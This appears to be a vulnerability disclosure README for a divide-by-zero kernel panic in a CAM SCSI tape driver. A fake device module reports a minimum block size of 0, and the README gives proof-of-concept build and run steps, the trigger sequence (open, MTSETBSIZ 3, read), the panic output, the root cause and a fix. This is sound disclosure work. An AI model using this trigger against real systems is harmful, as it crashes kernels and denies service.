# DF-5285 — sastrategy divide-by-zero panic via device-driven `min_blk == 0`

`sys/bus/cam/scsi/scsi_sa.c` — CAM SCSI sequential-access (tape) driver.

## Build (inside the guest, as root)

```sh
cd /root/df5285
# evilsa.ko: fake CAM SIM presenting a malicious T_SEQUENTIAL target
#   (see evilsa.c header for the full choreography)
touch opt_cam.h && make
cc -O -o poc_setblk poc_setblk.c
```

## Run

```sh
sh run.sh          # kldload evilsa, mount tape (RBL minimum=0), then:
#   poc_setblk /dev/nsa0:
#     open()          -> samount() completes in VARIABLE mode, min_blk = 0
#     MTSETBSIZ 3     -> non-pow2 fixed: blk_mask = ~0, min_blk still 0
#     read(512)       -> sastrategy: `b_bcount % min_blk` -> #DE -> panic
```

## Expected result (baseline, unmodified kernel)

Serial console:

```
Fatal trap 18: integer divide fault while in kernel mode
instruction pointer = 0x8:0xffffffff802bf319
Stopped at sastrategy+0x289: divl %ecx,%eax
```

Full kernel panic from the SCSI bus stopping. See `panic.txt`, `run.log`.

## Why it works

* `samount()` sets `softc->min_blk` straight from the device's READ BLOCK
  LIMITS response (`scsi_2btoul(rblim->minimum)`, scsi_sa.c:2019) or to 0
  when RBL fails (scsi_sa.c:2005) — no lower clamp of 1.
* `MTSETBSIZ` with a non-power-of-2 count sets FIXED mode with
  `blk_mask = ~0` and leaves `min_blk` untouched (scsi_sa.c:1198-1242).
* `sastrategy()` then evaluates
  `(bp->b_bcount % softc->min_blk)` (scsi_sa.c:756) whenever
  `blk_mask == ~0` — integer division by zero, kernel mode, instant panic.

An evil/compromised tape device (or evil SIM, as here) controls the RBL
minimum; the setblk+read trigger is ordinary operator/api usage on any
system where the device reports minimum 0 (common for RBL-less or quirky
drives: the code explicitly expects `min_blk = 0` there).

## Fix

`fix.diff`: clamp `min_blk` to >= 1 in `samount()` after RBL parsing and
guard the modulo in `sastrategy()`.
